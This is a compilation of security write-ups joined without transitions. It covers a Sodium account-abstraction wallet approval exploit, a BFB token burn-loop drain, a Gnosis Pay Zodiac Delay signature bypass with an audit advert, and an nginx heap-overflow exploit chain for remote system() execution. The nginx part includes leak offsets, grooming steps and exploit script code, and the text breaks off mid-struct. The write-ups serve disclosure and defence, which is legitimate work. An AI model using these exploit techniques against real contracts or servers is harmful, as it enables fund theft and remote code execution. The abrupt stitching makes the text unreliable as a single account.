handleOps processed the transaction in two separate loops. EntryPoint first completed account validation, paymaster validation, and validation-data checks for the submitted UserOperations. Only after that validation loop finished did it start the account-execution loop. The trace confirms that every validateUserOp call preceded every executeWithSodiumAuthSession call. This article follows one example operation across those two phases; validation and execution were not interleaved operation by operation.

At [3], msg.sender as seen by the account was the trusted EntryPoint, so the following guard passed:

// [1] Direct attacker calls fail here.
// [2] The exploit passes because EntryPoint is the immediate caller.
require(msg.sender == address(entryPoint()), "account: not from EntryPoint");

The decoded example UserOperation contained:

sender:                0x0209...16BD       // [1] Example Sodium account
nonce:                 231
callData selector:     0x28f8aa4d          // [2] executeWithSodiumAuthSession
proposed sessionKey:   0x5636...8e8a1      // [3] Attacker-controlled contract
authProof:             0x                  // [4] Empty in the decoded callData
transactions:          []                  // [5] No wallet actions requested
callGasLimit:          0                   // [6] Account subcall will fail with zero gas
verificationGasLimit:  800000              // [7] Validation still has gas
paymasterAndData:      0x5636...8e8a1
                       || 095ea7b3
                       || fd086b...fcbb9    // [8] Malicious spender + approve selector + USDT0
signature:             0x01
                       || 5636...8e8a1
                       || 00               // [9] Contract signer + arbitrary one-byte payload

The distinction between [6] and [7] is crucial: the attacker gave validation enough gas to create the approval, while setting the later wallet execution gas to zero.

2. How Arbitrary Signature Bytes Became a Valid Sodium Result

Sodium’s type-0x01 signature format lets the UserOperation name the signer itself:

// Simplified from checkValidSodiumSignature; byte ranges and logic are preserved.
// Signature layout: {0x01}{20-byte signer}{signature bytes}
if (sigType == 0x01) {
    signer = address(bytes20(_signature[1:21])); // [1] Supplied by the attacker
    signatureBytes = _signature[21:];            // [2] The example contains arbitrary 0x00

    valid = SignatureChecker.isValidSignatureNow(
        signer,                                  // [3] Malicious contract 0x5636...8e8a1
        _hash,
        signatureBytes
    );
}

The one-byte payload 0x00 is not a valid ECDSA signature. That alone did not make the UserOperation fail. After ECDSA recovery failed, OpenZeppelin’s SignatureChecker made an ERC-1271 call to the supplied signer; because that address was the malicious contract, it could deliberately accept the arbitrary payload:

[1] ECDSA.tryRecover(hash, 0x00)
        → fails

[2] 0x5636...8e8a1.isValidSignature(hash, 0x00)
        → returns 0x1626ba7e

[3] SignatureChecker result
        → valid = true
        → signer = 0x5636...8e8a1

0x1626ba7e is the ERC-1271 magic value for a recognized signature. The raw trace shows the malicious contract returning that exact value.

Sodium then extracted the proposed sessionKey from the same UserOperation’s callData. It did not require this key to be an existing authorized session in the vulnerable branch:

// Simplified pseudocode; the source extracts callData bytes [16:36] directly.
// [1] Attacker-controlled callData supplies the proposed session key.
address sessionKey = extractSessionKey(userOp.callData);

// [2] No configured safe session makes isSafe true by default.
bool isSafe = _safeSession.owner == address(0);

// [3] The external validator is skipped while isSafe is already true.
if (!isSafe) {
    isSafe = validator.validateUserOp(userOp) < 2;
}

// [4] Both equal addresses came from attacker-controlled fields.
return sessionKey == signer && isSafe ? 0 : 1;

For the example operation:

sessionKey = 0x5636...8e8a1   // [1] From callData
signer     = 0x5636...8e8a1   // [2] From signature
isSafe     = true             // [3] No safe session configured

result     = 0                // [4] Reported as valid to EntryPoint

Therefore, the accurate statement is: the attacker did not provide a valid owner ECDSA signature; it supplied arbitrary bytes that its own ERC-1271 contract deliberately accepted. Sodium then accepted that unauthorized contract as the signer. The successful exploit operation did not return signature failure; the raw validateUserOp output is 32 bytes of zero.

This bypass affected validation only. Had executeWithSodiumAuthSession actually run, it would have called validateAddSessionProof. The attacker avoided that check by assigning zero execution gas after the validation side effect had already occurred.

3. The Approval Side Effect Inside validateUserOp

After _validateSignature, Sodium continued into _approvePaymasterToken without checking the result:

function validateUserOp(
    UserOperation calldata userOp,
    bytes32 userOpHash,
    uint256 missingAccountFunds
) external returns (uint256 validationData) {
    _requireFromEntryPoint();

    validationData = _validateSignature(userOp, userOpHash); // [1] Returns 0 or 1 in this session path
    _validateNonce(userOp.nonce);
    _payPrefund(missingAccountFunds);

    _approvePaymasterToken(userOp);                          // [2] Runs for both values
}

So yes: inside Sodium, even a signature result of 1 still reaches approve. However, that does not mean an invalid operation can retain the allowance. EntryPoint later decides whether all validation-phase changes remain or are rolled back, as explained in the next section.

The approval helper parsed an exact 44-byte payload:

paymaster address (20 bytes)   // [1] Becomes the ERC-20 spender
|| 0x095ea7b3 (4 bytes)        // [2] approve(address,uint256) selector
|| token address (20 bytes)    // [3] Token chosen by the UserOperation submitter

It then trusted the alleged paymaster to choose the allowance threshold and amount:

// [1] Both values are returned by the untrusted paymaster.
(uint256 miniAllowance, uint256 suggestApproveValue) =
    paymaster.getTokenAllowanceCast(payToken);

// [2] Spender is the same untrusted paymaster address.
if (payToken.allowance(address(this), address(paymaster)) < miniAllowance) {
    payToken.approve(address(paymaster), suggestApproveValue); // [3] Persistent token approval
}

For the example USDT0 operation, the malicious contract returned:

miniAllowance       = 1                    // [1] Forces approval when allowance is zero
suggestApproveValue = 2^256 - 1            // [2] Maximum uint256 allowance
spender             = 0x5636...8e8a1       // [3] Malicious contract
token               = 0xFd086b...fCbb9     // [4] USDT0

The trace then shows the Sodium account calling USDT0 approve(0x5636...8e8a1, type(uint256).max), with the token returning true.

4. Where EntryPoint Would Revert, and Why It Did Not

After validateUserOp and paymaster validation return, EntryPoint v0.6 parses the account’s validationData. For an ordinary non-aggregated UserOperation, it expects the aggregator field to be address(0):

// [1] Low 160 bits of validationData are interpreted as an aggregator address.
(address aggregator, bool outOfTimeRange) =
    _getValidationData(validationData);

// [2] expectedAggregator is address(0) for this handleOps path.
// [3] A Sodium result of 1 parses as address(1), triggering AA24.
if (expectedAggregator != aggregator) {
    revert FailedOp(opIndex, "AA24 signature error");
}

The rollback branch is:

[1] Sodium signature check returns 1
        ↓
[2] Sodium still calls approve temporarily
        ↓
[3] EntryPoint parses 1 as aggregator = address(1)
        ↓
[4] EntryPoint reverts with AA24
        ↓
[5] The whole handleOps transaction reverts; approval is erased

The exploited branch was different:

[1] Unauthorized ERC-1271 signer makes Sodium return 0
        ↓
[2] Sodium grants the attacker-controlled allowance
        ↓
[3] Malicious paymaster validation also returns 0
        ↓
[4] EntryPoint sees aggregator = address(0); no AA24
        ↓
[5] EntryPoint attempts account execution with callGasLimit = 0
        ↓
[6] The account subcall fails out of gas; innerHandleOp records opReverted
        ↓
[7] handleOps completes; the validation-phase approval remains

This is why the signature bypass was necessary. Merely reaching approve after a failed Sodium check would not have been enough: AA24 would have reverted it. The attacker needed Sodium to report 0, then relied on innerHandleOp converting the failed account subcall into an opReverted result rather than reverting the entire handleOps transaction. EntryPoint’s surrounding try/catch is an additional isolation layer for cases where innerHandleOp itself reverts; it was not the mechanism that handled this zero-gas account call.

5. The Separate Drain Transaction

The approval transaction did not itself transfer USDT0. It created a durable spending right for the malicious contract.

In the later drain transaction, the trace shows this exact sequence for the example account:

[1] USDT0.balanceOf(0x0209...16BD)
        → 99,577,041 base units

[2] USDT0.allowance(0x0209...16BD, 0x5636...8e8a1)
        → 2^256 - 1

[3] USDT0.transferFrom(
        0x0209...16BD,             // token owner
        0x5636...8e8a1,            // recipient and approved spender
        99,577,041                  // full observed balance
    )
        → true

The same drain transaction also contains token swaps through Uniswap V3 and WETH withdrawal calls. The security boundary had already been lost at [2]: once the unlimited allowance persisted, transferFrom no longer needed another wallet signature or UserOperation.

Root Cause Analysis

The exploit was not caused by one isolated mistake. It depended on two trust-boundary failures:

1. Broken session authorization: Sodium accepted equality between a proposed sessionKey and a signer when both were chosen by the same untrusted UserOperation. A permissive attacker-controlled ERC-1271 contract could therefore make _validateSignature return 0 without owner authorization.

2. Attacker-directed state change during validation: Sodium turned untrusted paymasterAndData into a persistent ERC-20 approval. The alleged paymaster selected the token allowance threshold, the approval amount, and itself as spender.

Calling the approval helper even when _validateSignature returned 1 was unsafe design, but it was not by itself sufficient for this successful exploit. EntryPoint would have raised AA24 and rolled the approval back. The authorization bypass was what changed the result to 0 and allowed the approval to survive.

Recommended Fixes

1. Remove token approvals from validateUserOp. Any allowance must be an explicit owner-authorized execution action, not a validation side effect derived from paymasterAndData.

2. Fail closed on session authorization. Require an existing authorized session or verify the complete owner-authorized session proof during validation; never authenticate by comparing two attacker-supplied fields.

3. Add adversarial ERC-4337 tests. Cover permissive ERC-1271 signers, untrusted paymasters returning maximum allowances, validationData values 0 and 1, AA24 rollback, zero-gas execution, and a later transferFrom attempt.

Conclusion

The attacker did not provide a valid owner ECDSA signature. It supplied arbitrary bytes that were invalid under ECDSA but deliberately accepted by the malicious ERC-1271 contract. The attacker-selected session key matched that contract, so Sodium returned validationData = 0.

That result let EntryPoint retain an unlimited token approval created during validation. The subsequent zero-gas execution failed without reverting the outer batch, and the attacker exercised the surviving allowance later through transferFrom.

The core account-abstraction lesson is simple: validation must not create attacker-controlled, persistent spending rights. Authentication inputs remain adversarial until they are tied to an authority that the account owner established independently of the current UserOperation.

Attacker (EOA): https://bscscan.com/address/0x3bfa85127c9871d3f74c30e36a618a77f0ae6b0f

Attack Contract: https://bscscan.com/address/0xdd868618956418f77d922fa5d42960fb5fb01b7b

Attack Tx: https://bscscan.com/tx/0xabcf5c5c846595b2d0849f2579b67465ed8d06f3b469cee5e3a57c1f7aed3520

Victim: https://bscscan.com/address/0x719699762fFCC7AadBdCec4E7cf03569E5e99999

Background

BFB is a “deflationary” BEP-20 token whose contract embeds automatic burn mechanics directly into its transfer path. Two burn systems are wired into every transfer through the private _transfer function:

1. _deflPool — a time-based burn that removes a fixed ratio of the LP’s BFB balance once per hour.

2. _priceDeflPool — a price-defense burn intended to “protect” the token’s price: whenever the spot price on the PancakeSwap pool falls more than a threshold below the last recorded high, the contract burns a slice of the BFB held in the pool and calls sync() on the pair.

The design intent of the price-defense mechanism is straightforward tokenomics theater: if the price drops, burn BFB out of the pool to shrink supply-in-reserve and mechanically push the quoted price back up. This is precisely the feature that was weaponized.

Every transfer routes through:

Both transfer() and transferFrom() reach _transfer, so the burn hooks fire on essentially any token movement — including a zero-value self-transfer.

The Vulnerability

The root cause lives in _priceDeflPool:

Price is computed purely from the pair’s spot reserves:

With the relevant parameters set to:

• fallPriceRatio = 500 → a ~5% drop below fallLastPrice arms the burn.

• fallPriceBurnRatio = 500 → 5% of the pool’s BFB balance is burned on each trigger.

• DENOMINATOR = 10000.

BFB derives its "price" straight from the pool's spot reserves (wbnbReserve / bfbReserve), and its price-defense burn edits those same reserves — burning 5% of the pool's BFB and calling sync(), which raises the quoted price while quietly shrinking the AMM invariant k and leaving the pool over-loaded with WBNB against a vanishing BFB reserve. Worse, this destructive burn can be triggered for free and without limit: the !isContract(from) && !isContract(to) guard only inspects the transfer parties, not the caller, so an attacker contract simply calls transferFrom(attackerEOA, attackerEOA, 0) — two EOAs pass the check, and the zero amount also slips past the _bound logic (which only reacts to 1e18 or 5e17). With no cooldown or per-block limit, the attacker can loop this burn hundreds of times in a single transaction, each fire compounding the last, repeatedly forcing the pool to destroy its own BFB reserve at near-zero cost.

The whole exploit ran in a single atomic transaction. The attack contract first flash-borrowed a large amount of liquidity from Lista DAO Moolah (WBNB and BTCB, routed through Venus vTokens) as working capital, with the attacker EOA having pre-approved the contract so that transferFrom(attackerEOA, attackerEOA, 0) would pass the allowance check. It then repeated roughly 151 rounds: in each round it swapped against the BFB/WBNB pair to push the spot price more than 5% below fallLastPrice — the burn branch stays dormant during the swap because the pair is a contract, so the low price is left "primed" while fallLastPrice remains high — and then called transferFrom(attackerEOA, attackerEOA, 0), an EOA→EOA zero-value transfer that passes the !isContract guard and makes _priceDeflPool burn 5% of the pool's BFB and sync() (visible on-chain as the recurring BFB → Null: 0x000…000 transfers interleaved with the swaps). Since each burn scales the reserve by ~0.95, after ~151 rounds 0.95^151 ≈ 4e-4 drove the pool's BFB reserve to about 0.04% of its starting value while the WBNB reserve stayed intact — leaving abundant WBNB backing a near-zero BFB reserve. At that point constant-product math meant a dust-sized BFB input could extract nearly all the pool's WBNB, so the attacker made the final swap, repaid the flash loan, and exited with ≈ 350.6 WBNB (~$198,956) for a transaction fee of about $0.39.

Conclusion

The BFB exploit is a textbook example of a token's own "feature" becoming its fatal flaw. A price-defense routine that (a) priced itself off manipulable spot reserves, (b) burned liquidity-pool reserves and re-synced on demand, (c) could be triggered for free by any contract via a zero-value EOA→EOA transferFrom, and (d) had no rate limit, allowed an attacker to loop ~151 burns in a single flash-loan-funded transaction, collapse the BFB reserve toward zero, and swap dust BFB for the pool's entire WBNB — walking away with roughly $198,000 for less than a dollar in gas.

Attack Summary

• Date: June 1, 2026 UTC.

• Protocol: Gnosis Pay / Zodiac Delay v1.1.0.

• Chain: Gnosis Chain.

• Loss: ~$265K across multiple victims.

• Root Cause: Missing status check in static call.

• Attacker: 0x81ba8a2b895d30280bca199c2ff75f3f058d4c6c.

• Example Attack TX: 0x5ea42911c803ba2cf1cb558e88129102de9023980a5c73253d59407859ce2ce5.

• Vulnerable Function Path:

Delay.execTransactionFromModule()
  -> moduleOnly()
    -> moduleTxSignedBy()
      -> _isValidContractSignature()

Background

Gnosis Pay connects a card product to self-custody Safe accounts. The relevant architecture uses Zodiac modules:

• Roles Module controls which actions are allowed.

• Delay Module queues outgoing non-card transactions and enforces a short cooldown before execution.

In the intended flow, a withdrawal is queued first, waits through the delay period, and only then becomes executable. That design is reasonable. The failure was not that a delay existed; the failure was that the module accepted malicious transactions into the queue through a broken signature-verification fallback.

Root-cause Analysis

Data Control: Start of attack

The attacker called execTransactionFromModule() with crafted calldata.

The function was protected by moduleOnly.

The vulnerable authorization path tried to support a generic fallback: if msg.sender is not an enabled module, check whether the transaction was signed by an enabled module.

The key helper was moduleTxSignedBy():

function moduleTxSignedBy() internal view returns (bytes32, address) {
    bytes calldata data = msg.data;

    if (data.length < 4 + 32 + 65) {
      return (bytes32(0), address(0));
    }

    (uint8 v, bytes32 r, bytes32 s) = _splitSignature(data);

    uint256 end = data.length - (32 + 65);
    bytes32 salt = bytes32(data[end:]);

    if (v == 0) {
      uint256 start = uint256(s);
      if (start < 4 || start > end) {
        return (bytes32(0), address(0));
      }
      address signer = address(uint160(uint256(r)));

      bytes32 hash = moduleTxHash(data[:start], salt);
      return
        _isValidContractSignature(signer, hash, data[start:end])
          ? (hash, signer)
          : (bytes32(0), address(0));
    }
}

The problem starts with:

bytes calldata data = msg.data;

execTransactionFromModule() only decodes four normal parameters:

function execTransactionFromModule(
    address to,
    uint256 value,
    bytes calldata data,
    Enum.Operation operation
) public override moduleOnly returns (bool success)

But moduleTxSignedBy() authenticates against the whole calldata buffer. That includes attacker-controlled bytes appended after the ABI-encoded function arguments. By shaping those trailing bytes, the attacker controlled v, r, s, salt, the recovered signer, and the signature payload passed into _isValidContractSignature().

The Revert-Data Trick: The real root-cause

Inside _isValidContractSignature():

Notice what is missing: the success boolean.

The staticcall could revert, but the code ignored whether it succeeded. It only checked whether the first four bytes of returnData matched 0x1626ba7e. Because revert data is also returned to the caller, the attacker could make a failed call look like a valid ERC-1271 signature.

Attacker try to route the call “verify signature” to victim’s Safe Wallet -> Fallback Handler contract -> Attacker’s contract. Then attacker use revert data to trick Safe to return.

This is the heart of the exploit: the attacker controlled the revert message, the revert message became returnData, and returnData satisfied the signature check.

Step-by-Step Bypass Authorization Flow

1. Deploy Verification Trap - The attacker deployed a contract that could be reached through the ERC-1271 verification path and revert with data beginning with 0x1626ba7e. Contract address: 0x5a77953caa27ed4638f4dfdc665b8064d0e97a35

2. Craft Module Call - The attacker called Delay.execTransactionFromModule() with a normal-looking transaction body. In the example attack transaction, the decoded action queued a USDC.e transfer to the attacker.

3. Append Signature Payload - Extra bytes were appended after the normal ABI parameters. execTransactionFromModule() ignored those bytes, but moduleTxSignedBy() parsed them as signature material.

4. Route Verification Through Controlled Contract - The crafted signature caused verification to traverse Safe/fallback ERC-1271 logic until it reached the attacker-controlled contract.

5. Revert With Magic Value - The attacker-controlled contract reverted with data beginning with 0x1626ba7e.

6. Bypass Authorization - _isValidContractSignature() ignored success, checked only bytes4(returnData), and accepted the reverted call as a valid signature.

7. Queue and Execute Malicious Withdrawals - The Delay module emitted HashExecuted and TransactionAdded, planting malicious withdrawals into the queue. Across multiple victims, those queued withdrawals later enabled the ~$265K drain.

Forensic Timeline: The Silent Fix

The tricky part of this incident is the repository history. There are two related but different code lines:

• gnosisguild/zodiac - legacy package, historically published as @gnosis.pm/zodiac, later as @gnosis-guild/zodiac.

• gnosisguild/zodiac-core - reworked core package, published as @gnosis-guild/zodiac-core - it is a new folks from gnosisguild/zodiac from Apr 25, 2024 in 1b16aca commit.

The official Delay contract version 1.1.0 uses the legacy package @gnosis.pm/zodiac.

• On Oct 28, 2023, commit 9ffff3a added EIP-1271 support. The early implementation checked the success value from staticcall.

• On Oct 28, 2023, commit 9a9e380 changed the staticcall handling and discarded success, leaving only the returnData magic-value check. The vulnerability was introduced in this commit.

• On Feb 27, 2026, commit 11708ac in zodiac-core silently fixed the vulnerability and released v4.0.0-alpha.0 version.

The bug still existed on production contract. The exploited on-chain source was still using the legacy @gnosis.pm/zodiac.

The forensic question is: Why were production Gnosis Pay Delay instances still compiled against the stale legacy @gnosis.pm/zodiac dependency, when a newer zodiac-core line existed and had already addressed this class of bug?

Lessons Learned

• Never trust outside code blindly. Just because code is on GitHub doesn’t mean it is safe. Always check and test other people’s code before letting it touch your money.

• Repository splits create security drift. When a package is extracted, renamed, or replaced, old package lines can keep dangerous code unless fixes are explicitly backported or downstream users migrate.

• Low-level call must check success. Revert data is not a successful signature response. A magic value inside revert data should never authorize anything.

• Stale deployments need active monitoring. A fixed library does not protect already deployed contracts. Teams need dependency inventory, deployed-bytecode tracking, and migration playbooks for security-sensitive modules.

Conclusion

The Gnosis Pay hack is a very expensive lesson: security tools are only as strong as their weakest link. The Delay module was built to slow down hackers, but the attacker didn’t break the clock-they just tricked the guard into letting them pass.

A single missing check turned a loud error into a green light. In the crypto world, this is exactly the kind of tiny “oops” mistake that costs hundreds of thousands of dollars.

Subscribe now

Don’t let a small bug turn your project into the next big hack story. Hire Verichains for a full security audit. Our top security experts will find those hidden bugs, spot quiet code changes, and make sure your smart contracts are truly safe—not just pretending to be!

• Target: the stock official nginx:1.30.0 Docker image (Debian 13, glibc 2.41, stripped release binary) behind an API-gateway config that contains the trigger (final/nginx.conf); no allocator tuning.

• One root cause, two bugs: the rewrite engine’s is_args flag is set in one pass and consumed in another. Aimed at a set variable it’s rift (CVE-2026-42945) — a forward heap overflow that can only write URL-safe bytes; aimed at r->args it’s PoolSlip (CVE-2026-9256), an $args heap over-read.

• The chain: PoolSlip leaks live libc + heap (nothing hardcoded): rift does a 2-byte partial overwrite of a limit_conn cleanup pointer, redirecting it into a sprayed ngx_pool_cleanup_t{handler=&system, data=cmd}, on connection teardown ngx_destroy_pool walks the cleanup list to system(cmd).

• Why only 2 bytes: a full 48-bit address is URL-safe ~0.9 % of the time under ASLR; overwriting just the low 2 bytes of an already-valid heap pointer leaves the random high bytes untouched, so the chain is ASLR-independent with nothing hardcoded.

• Debian-specific work: the Ubuntu “mmap-below-libc” leak fails (Debian mmaps to the brk cluster), so libc is leaked from a libpcre pointer at $args[1729] instead; the release binary is stripped so gdb reads structs by raw offset; the write target is a fixpoint (N=9, K=1005) because the rift buffer moves with URI length.

• Result: remote system() as uid=101(nginx), ~90 % per fresh worker, no nginx restart.

  

Summary

This is — as far as I’ve found — the first public chain of two recently-disclosed nginx rewrite-engine bugs into a single ASLR-independent remote system() on the stock official nginx:1.30.0 Docker image (Debian 13, glibc 2.41) running a realistic API-gateway config that contains the rewrite-engine trigger. Both bugs are the same is_args two-pass mismatch pointed at two sinks: PoolSlip (CVE-2026-9256, a heap over-read) leaks live libc + heap, and rift (CVE-2026-42945, a heap overflow that can only write URL-safe bytes) then does a 2-byte partial overwrite of a limit_conn cleanup pointer so ngx_destroy_pool‘s cleanup walk calls system(cmd). Nothing is hardcoded, the worker is never restarted, and it lands ~90 % per fresh worker.

Both CVEs are already patched, this writeup is a technique demonstration (that a full, ASLR-independent system() is achievable). The chain needs a config that specifically triggers the is_args bug. Patch regardless:

• CVE-2026-42945 “rift” — vulnerable 0.6.27 – 1.30.0; fixed in 1.30.1 / 1.31.0.

• CVE-2026-9256 “PoolSlip” — vulnerable 0.1.17 – 1.30.1 (and 1.31.0); fixed in 1.30.2 / 1.31.1.

Upgrade to nginx 1.30.2 (stable) or 1.31.1 (mainline); note 1.30.1 fixes rift but is still vulnerable to PoolSlip, so only 1.30.2 closes both. NGINX Plus: R36 P5 / R32 P7 / R37.0.1.1.

We chain two recent nginx bugs:

• CVE-2026-42945 “rift”: an is_args length/value heap overflow. This is our write primitive.

• CVE-2026-9256 “PoolSlip”: an args-inflation heap over-read. This is our info-leak primitive.

Everything below is reproduced live with gdb against the stock release binary; the offsets and addresses are from real runs. (Because the release image is stripped, the gdb probes read struct fields by raw byte offset so the layout is identical to the source build, only the symbols are gone.)

PoC + config: Nginx-chain-Rift-Poolslip

1. The two bugs (root cause)

Both bugs come from the same nginx quirk: the rewrite-module script engine has an is_args flag, and that flag is computed in one pass but consumed in another.

When nginx compiles rewrite/set value scripts it runs them twice:

1. a length pass on a fresh, local engine, to size the destination buffer, and

2. a copy pass on the shared request engine, to actually write the bytes.

ngx_escape_uri() is only invoked when e->is_args == 1. If the two passes disagree on is_args, the length pass under-counts (no escaping) while the copy pass over-writes (escaping + → %2B, etc.). That mismatch is the root of both bugs.

1.1 Rift: is_args heap overflow (the write primitive)

location ~ ^/api/v1/(.*)$ {
    rewrite ^/api/v1/(.*)$ /internal/$1?api_version=2;   # replacement has '?'
    set $resource $1;                                    # copies the capture
}

The ? in the rewrite replacement makes the engine run ngx_http_script_start_args_code, which sets e->is_args = 1 on the shared engine and it is never cleared. The following set $resource $1 then:

• length pass (fresh engine, is_args = 0): counts $1 with no escape budget;

• copy pass (shared engine, is_args = 1): re-escapes $1 with ngx_escape_uri.

So if $1 contains N bytes that need escaping, the copy writes 2·N more bytes than were allocated → a forward heap overflow out of the script buffer.

Two important properties of the write primitive:

• It writes only URL-safe bytes verbatim. Any byte that needs escaping becomes %XX (3 bytes), which shifts everything after it, so to land a precise value at a precise offset, every byte must be URL-safe (≈ 79 of 256 byte values).

• The overflow length is 2 × (#escape-needing input bytes); padding (A) bytes don’t inflate, so N As + K +s writes N + 3K bytes and overflows by 2K.

1.2 PoolSlip: args-inflation over-read (the leak primitive)

location ~ ^/search/(.*)$ { rewrite ^/search/((.*))$ /lookup?$1$2 last; }

Same is_args mismatch, but applied to r->args instead of a set variable. The copy pass overflows the args buffer and r->args.len is set from the post-overflow engine position, i.e. past the allocation. Anything that later reflects $args then reads adjacent heap memory. In this config the reflection is the degraded search page:

location /lookup { proxy_pass http://search_index; proxy_intercept_errors on; error_page 502 504 = @search_unavailable; }
location @search_unavailable { return 503 "Search temporarily unavailable. Query: $args\n"; }

(search_index is an offline Elasticsearch sidecar, so every /search hit degrades to that page, which is exactly where the over-read surfaces. The reflection has to be nginx-level and binary-safe: heap pointers contain \x00/control bytes, so proxying $args to a real backend just 502s the upstream request — verified.)

2. Why chain them (and not just use rift)

rift on its own is a clean write primitive, but it has no info-leak, and the public PoC (DepthFirstDisclosures/Nginx-Rift) simply hardcodes LIBC_BASE and HEAP_BASE:

HEAP_BASE  = 0x555555659000
LIBC_BASE  = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70

That only works with ASLR disabled (or against a known image). I didn’t want a “works on my machine” exploit, so I bolted PoolSlip on as the leak primitive: it discloses live libc and heap pointers, I derive the bases from them, and the rift write targets are then computed at runtime. The result is ASLR-independent with nothing hardcoded.

The two bugs compose cleanly because they’re the same engine quirk pointed at two different sinks (a set variable vs r->args), so one config naturally exposes both.

3. The exploitation idea

3.1 The problem: a full heap write is almost never URL-safe

The obvious rift exploit is the PoC’s: spray a fake ngx_pool_cleanup_t{handler=system, data=cmd} onto the heap and overwrite a pool’s cleanup pointer with the spray address, so that ngx_destroy_pool calls cleanup walk and finally calls system(cmd).

But the cleanup pointer is a full 48-bit heap address, and the rift can only write URL-safe bytes. Under ASLR the high bytes of a heap address are random, so a full address is almost never composed entirely of writable bytes.

Proof. The set of byte values the rift can place at a target is exactly nginx’s URI-escape bitmap (bytes that are not percent-encoded). Reproducing it from the source bitmap gives 79 of 256 values: P(one random byte is URL-safe) = 79/256 ≈ 0.31:

|SAFE| = 79 / 256   P(one random byte URL-safe) = 0.3086
safe bytes: 21 24 27 28 29 2a 2c 2d 2e 2f 30..3a 3d 40..5b 5d 5f 61..7a 7e   (i.e. mostly
            alnum + a few punctuation; NOT 0x00, 0x5c '\', 0x5e '^', 0x60 '`', high bytes, …)

A full-address overwrite requires all 6 low bytes of the target address to be in that set. I sampled 20 real ASLR heap bases by restarting the worker, measured the actual entropy, and Monte-Carlo’d the full-address target over it (using that SAFE set and 30 candidate spray landings):

real bases sampled: 20   entropy mask = 0x3ffffffff000   (34 varying bits)
high byte5 observed: 0x58..0x65

REAL bases: mean URL-safe candidates / base = 0.000 ; bases with >=1 = 0/20   not one worked

MONTE-CARLO over measured ASLR entropy (2,000,000 samples):
  single fixed target writable            ≈ 0.91 %
  P(>=1 writable of all 30 spray landings) ≈ 3.13 %   absolute per-run ceiling

So a single chosen cleanup target is writable only ≈0.9 % of the time, and even trying every spray landing the per-run ceiling is ≈3 % and in 20 real restarts, 0 had a usable landing. End-to-end, a full-address overwrite fires reliably ASLR-off but only ~1 % under real ASLR, matching the single-target bound (further eroded by spray-landing precision). The high bytes simply can’t be controlled, so the approach is a dead end under ASLR.

3.2 The fix: a 2-byte partial overwrite of an existing heap pointer

limit_conn (limit_conn perip 100;) registers an ngx_http_limit_conn_cleanup on every request’s r->pool. That means r->pool->cleanup is already a valid heap pointer pointing into the pool’s own memory:

So instead of writing a full address, we overwrite only the low 2 bytes of that pointer with a URL-safe value YYYY. The ASLR-random high bytes ride along untouched so the redirected pointer stays in the same 64 KB block, no random byte is ever written => ASLR-independent.

We point it at a sprayed fake ngx_pool_cleanup_t{handler=system, data=cmd_ptr, next=0}.

3.3 Putting the records where the pointer can reach them

The redirect can only move cleanup within its own 64 KB block (we control the low 16 bits). So the block must be full of fake-struct records at URL-safe offsets. The trick: make the victim itself a held POST /api/upload carrying a tiled body of {system, cmd_ptr, 0} records (24-byte stride). Its body lives in its own request pool, so the cleanup pointer’s block is densely full of records. A handful of early sprays and post-victim sprays tile the neighbouring blocks too, so for any ASLR base several record runs straddle the pointer’s block. pick_yyyy() scans the measured runs and picks an in-block, URL-safe record.

cmd_ptr points at a “command holder” spray (a normal POST /api/upload whose body is the shell command), at a leak-derived address.

3.4 The full flow (attempt() in exp_official.py)

0. warm-up: ~40 × GET /search/+×300   (churn the heap so the off-1729 libc-cluster ptr settles)
1. leak:    GET /search/<+ ×350>      → derive libc_base, heap_base, &system
2. sprays:  8 × held POST /api/upload  (#0 = command holder, rest = tiled records)
3. groom:   open 16 bare TCP conns, then close them just before the victim connects
            (frees small conn-pool holes so the victim's conn pool is reused there, and the
             victim's *request* pool lands right after the rift request's block)
4. rift a:  GET /api/v1/<A×9 + (+)×1005 + YYYY>   (held by the /internal proxy → backend latency)
5. victim v: held POST /api/upload with the tiled body  (gets the limit_conn cleanup)
6. + 24 post-victim held sprays (more record runs above the cleanup pointer)
7. fire:    finish a's request → the `set` overflows → writes YYYY at v->pool->cleanup[+0x40..+0x41]
8. close v → ngx_http_free_request → ngx_destroy_pool(v->pool) → cleanup walk → system(cmd)

a stays alive (parked on the upstream) so its own pool isn’t freed before v fires; the destroy order matters, see §5.5.

4. The Info Leak

The release binary is stripped, so we read the script engine by raw offset (e = $rdi at function entry; e->is_args is bit 3 of the dword at +0x40, e->buf.data ($buf) is at +0x20). The PoolSlip request runs the copy pass with is_args already set, so it over-writes past the args buffer and r->args.len is taken from the post-overflow engine position. The degraded /search page then reflects $args past the buffer into adjacent heap; for a ~700-byte query the 503 body comes back as 2100 bytes of raw heap.

After a short warm-up (~40 /search hits churn the heap), two pointers settle at stable offsets in that over-read. A heap pointer sits at $args[1489] (x/gx $buf+0x5d8 in gdb), giving the heap base once cross-checked against vmmap:

For libc, the Ubuntu trick (a big POST body that glibc mmaps just below libc) fails on Debian because large allocations land in the low brk/PIE cluster, not below libc. Instead, a pointer into the libpcre/regex region, which ld maps at a fixed 0xb0ad08 below libc, settles at $args[1729] (x/gx $buf+0x6c8), again confirmed against vmmap:

So libc_base = $args[1729] + 0xb0ad08 and heap_base = $args[1489] − 0x28610, both confirmed against the live mappings. Nothing is hardcoded; request_pool_size is the nginx default (no allocator tuning in the config).

exp_official.py:

WARMUP = 40   # ~40x GET /search/+×300 first, so the off-1729 libc-cluster pointer settles
def derive(args):
    libc = (int.from_bytes(args[1729:1737], "little") + 0xb0ad08) & ~0xfff   # & ~0xfff: page-align
    heap =  int.from_bytes(args[1489:1497], "little") - 0x28610
    return libc, heap
# system = libc + 0x53110

Live run (the addresses differ every run so they’re all derived from the leak, nothing hardcoded):

[*] heap_base=0x5a043fe2f000
[*] libc=0x7d6b8228d000 
[*] system=0x7d6b822e0110 (system = libc + 0x53110)

5. The Write primitive

5.1 The victim’s cleanup pointer (what we corrupt)

The victim is a held POST /api/upload. limit_conn has put a cleanup on its r->pool, so pool->cleanup (at pool+0x40) is already a live heap pointer into the pool’s own block.

The two structures involved (from src/core/ngx_palloc.h), with byte offsets so the raw dump below lines up:

typedef struct {                          //                           offset in ngx_pool_t
    u_char               *last;           //   d.last                   +0x00
    u_char               *end;            //   d.end                    +0x08
    ngx_pool_t           *next;           //   d.next                   +0x10
    ngx_uint_t            failed;         //   d.failed                 +0x18
} ngx_pool_data_t;

struct ngx_pool_s {                       // == ngx_pool_t
    ngx_pool_data_t       d;              //                            +0x00
    size_t                max;            //                            +0x20
